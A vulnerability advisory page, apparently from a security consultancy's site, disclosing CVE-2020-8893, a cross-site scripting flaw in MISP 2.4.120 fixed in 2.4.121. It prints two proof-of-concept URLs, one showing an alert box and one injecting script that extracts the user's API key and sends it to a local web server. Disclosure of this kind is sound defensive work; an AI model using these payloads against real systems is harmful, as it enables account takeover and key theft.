Over 10 years we help companies reach their financial and branding goals. Engitech is a values-driven technology agency dedicated.

Gallery

Contacts

411 University St, Seattle, USA

engitech@oceanthemes.net

+1 -800-456-478-23

DATE

25.02.2020

Affected Vendor

CIRCL – Computer Incident Response Center Luxembourg

Affected Product

MISP – Malware Information Sharing Platform & Open Standards For Threat Information Sharing – https://www.misp-project.org/

Vulnerable version

2.4.120

Fixed version

2.4.121

Recommendations

Update to MISP version 2.4.121 

Vulnerability details

PoC

Proof of concept alert box:

    https://MISP_URL/galaxies/view/188/searchall:a%22)%3balert(1);;$.get(%22http%3a/0.0.0.0/www

PoC

Proof of concept of API key extraction to localhost web server:

    https://MISP_URL/galaxies/view/188/searchall:a")%3b$.get('%5c%5cusers%5c%5cview%5c%5cme',function(d){pos_start+%3d+d.indexOf('<h2>User

CVE

CVE-2020-8893

Credits

Dawid Czarnecki

Do you think the security of your data might be lacking? Let's find the best approach together.
Once you contact us, we will ask you about the project you want to secure.

NEED A CONSULTATION?